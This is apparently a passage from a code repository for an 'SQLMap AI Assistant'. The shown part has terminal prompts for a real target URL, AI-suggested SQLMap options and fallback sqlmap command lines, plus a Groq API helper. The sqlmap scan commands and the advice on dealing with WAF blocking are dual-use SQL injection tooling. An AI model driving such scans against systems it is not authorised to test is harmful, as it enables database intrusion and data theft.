def print_warning(message, **kwargs): 26 | if 'end' in kwargs: 27 | print(f"{Fore.YELLOW}[WARNING] {message}{Style.RESET_ALL}", end=kwargs['end'], flush=kwargs.get('flush', False)) 28 | else: 29 | print(f"{Fore.YELLOW}[WARNING] {message}{Style.RESET_ALL}") 30 | def print_error(message, **kwargs): 31 | if 'end' in kwargs: 32 | print(f"{Fore.RED}[ERROR] {message}{Style.RESET_ALL}", end=kwargs['end'], flush=kwargs.get('flush', False)) 33 | else: 34 | print(f"{Fore.RED}[ERROR] {message}{Style.RESET_ALL}") 35 | def get_target_url(): 36 | print(f"\n{Fore.BLUE}URL format: http://example.com/page.php?id=1{Style.RESET_ALL}") 37 | print(f"{Fore.BLUE}For best results, include at least one parameter (e.g., ?id=1){Style.RESET_ALL}") 38 | print(f"{Fore.YELLOW}Do not use placeholder text like [TARGET_URL] - use a real URL{Style.RESET_ALL}") 39 | while True: 40 | url = input(f"{Fore.GREEN}Enter target URL: {Style.RESET_ALL}") 41 | if not url: 42 | print_warning("URL cannot be empty. Please enter a valid URL.") 43 | continue 44 | if not (url.startswith('http://') or url.startswith('https://')): 45 | print_warning("URL must start with http:// or https://") 46 | continue 47 | placeholders = ['[TARGET_URL]', '{target}', '', 'example.com'] 48 | if any(ph in url for ph in placeholders): 49 | print_warning(f"URL contains placeholder text ({', '.join(placeholders)}). Please use a real URL.") 50 | continue 51 | return url 52 | def get_timeout(): 53 | try: 54 | user_timeout = int(input(f"{Fore.GREEN}Enter timeout in seconds (default: 120): {Style.RESET_ALL}") or "120") 55 | return user_timeout 56 | except ValueError: 57 | print_warning("Invalid timeout value. Using default of 120 seconds.") 58 | return 120 59 | def get_interactive_mode(): 60 | return input(f"{Fore.GREEN}Run in interactive mode? (y/n, default: n): {Style.RESET_ALL}").lower() == 'y' 61 | def get_user_choice(suggestions): 62 | suggested_cmd = ' '.join(suggestions) 63 | print(f"\n{Fore.CYAN}[AI SUGGESTION] {suggested_cmd}{Style.RESET_ALL}") 64 | print(f"\n{Fore.YELLOW}Choose your next action:{Style.RESET_ALL}") 65 | print(f"1. Use AI suggestion: {suggested_cmd}") 66 | print("2. Enter custom SQLMap options") 67 | print("3. Skip further testing") 68 | while True: 69 | choice = input(f"\n{Fore.GREEN}Enter your choice (1-3): {Style.RESET_ALL}") 70 | if choice == '1': 71 | return suggestions 72 | elif choice == '2': 73 | custom_options = input(f"{Fore.GREEN}Enter custom SQLMap options: {Style.RESET_ALL}") 74 | return custom_options.split() 75 | elif choice == '3': 76 | return None 77 | else: 78 | print_warning("Invalid choice. Please enter 1, 2, or 3.") 79 | def handle_timeout_ui(fallback_opts, target_url): 80 | print_warning("The scan timed out. This could be due to several reasons:") 81 | print("1. The target application might be slow to respond") 82 | print("2. Network latency issues") 83 | print("3. Intrusion prevention systems or WAFs might be blocking the scan") 84 | print("4. The target might be performing complex operations that take longer") 85 | print_info("\nRecommended actions:") 86 | print("1. Continue with the partial data we've collected") 87 | print("2. Try again with more targeted techniques (--technique=B or --technique=T)") 88 | print("3. Increase the scan timeout") 89 | print(f"\n{Fore.CYAN}[RECOMMENDATION] Try: sqlmap -u {target_url} {' '.join(fallback_opts)}{Style.RESET_ALL}") 90 | choice = input(f"\n{Fore.GREEN}Enter your choice (1-3): {Style.RESET_ALL}") 91 | if choice == '2': 92 | reduced_timeout = int(input(f"{Fore.GREEN}Enter new timeout in seconds (default: 180): {Style.RESET_ALL}") or "180") 93 | return choice, reduced_timeout 94 | elif choice == '3': 95 | new_timeout = int(input(f"{Fore.GREEN}Enter new timeout in seconds (default: 300): {Style.RESET_ALL}") or "300") 96 | return choice, new_timeout 97 | else: 98 | return '1', None 99 | def handle_no_data_timeout_ui(target_url): 100 | print("1. Try again with a simpler, faster scan (--tech=BT --level=1)") 101 | print("2. Try increasing the timeout value") 102 | print("3. Try with a different URL or parameter") 103 | fallback_opts = ["--tech=BT", "--level=1", "--risk=1"] 104 | print(f"\n{Fore.CYAN}[RECOMMENDATION] Try: sqlmap -u {target_url} {' '.join(fallback_opts)}{Style.RESET_ALL}") 105 | choice = input(f"\n{Fore.GREEN}Enter your choice (1-3): {Style.RESET_ALL}") 106 | if choice == '1': 107 | reduced_timeout = int(input(f"{Fore.GREEN}Enter new timeout in seconds (default: 120): {Style.RESET_ALL}") or "120") 108 | return choice, reduced_timeout, fallback_opts 109 | elif choice == '2': 110 | new_timeout = int(input(f"{Fore.GREEN}Enter new timeout in seconds (default: 240): {Style.RESET_ALL}") or "240") 111 | return choice, new_timeout, None 112 | else: 113 | return '3', None, None 114 | def confirm_save_report(): 115 | return input(f"\n{Fore.GREEN}Save detailed report to file? (y/n): {Style.RESET_ALL}").lower() == 'y' -------------------------------------------------------------------------------- /utils/__init__.py: -------------------------------------------------------------------------------- 1 | """ 2 | Utilities package for SQLMap AI Assistant. 3 | """ 4 | from utils.groq_utils import get_groq_response 5 | 6 | __all__ = ['get_groq_response'] -------------------------------------------------------------------------------- /utils/groq_utils.py: -------------------------------------------------------------------------------- 1 | import os 2 | import logging 3 | import time 4 | from typing import Optional 5 | from dotenv import load_dotenv 6 | from groq import Groq 7 | from groq.types.chat import ChatCompletion 8 | 9 | # Load environment variables from .env file 10 | load_dotenv() 11 | 12 | # Configure logging 13 | logging.basicConfig(level=logging.INFO) 14 | logger = logging.getLogger(__name__) 15 | 16 | def get_groq_response( 17 | prompt: str, 18 | model: str = "qwen-qwq-32b", 19 | role: str = "user", 20 | max_retries: int = 3, 21 | retry_delay: int = 2, 22 | timeout: int = 30, 23 | ) -> Optional[str]: 24 | """ 25 | Get a response from Groq API with error handling and retries. 26 | 27 | Args: 28 | prompt (str): The prompt to send to the model. 29 | model (str): The model to use (defaults to "qwen-qwq-32b"). 30 | role (str): The role of the message (e.g., "user", "system", "assistant"). 31 | max_retries (int): Maximum number of retries for failed requests. 32 | retry_delay (int): Delay (in seconds) between retries. 33 | timeout (int): Timeout (in seconds) for the API request. 34 | 35 | Returns: 36 | Optional[str]: The model's response, or None if the request fails. 37 | """ 38 | # Get API key from environment variable with fallback 39 | api_key = os.getenv("GROQ_API_KEY") 40 | if not api_key: 41 | raise ValueError("GROQ_API_KEY environment variable not set") 42 | 43 | client = Groq(api_key=api_key) 44 | 45 | # Retry logic with exponential backoff 46 | for attempt in range(max_retries): 47 | try: 48 | # Create chat completion 49 | chat_completion: ChatCompletion = client.chat.completions.create( 50 | messages=[ 51 | { 52 | "role": role, 53 | "content": prompt, 54 | } 55 | ], 56 | model=model, 57 | timeout=timeout, 58 | ) 59 | 60 | # Validate and return the response 61 | if chat_completion.choices and chat_completion.choices[0].message.content: 62 | return chat_completion.choices[0].message.content 63 | else: 64 | logger.error("Received an empty or invalid response from Groq API.") 65 | return None 66 | 67 | except Exception as e: 68 | logger.warning(f"Attempt {attempt + 1} failed: {str(e)}") 69 | if attempt < max_retries - 1: 70 | time.sleep(retry_delay * (attempt + 1)) # Exponential backoff 71 | else: 72 | logger.error(f"All {max_retries} attempts failed. Last error: {str(e)}") 73 | return None 74 | 75 | return None 76 | --------------------------------------------------------------------------------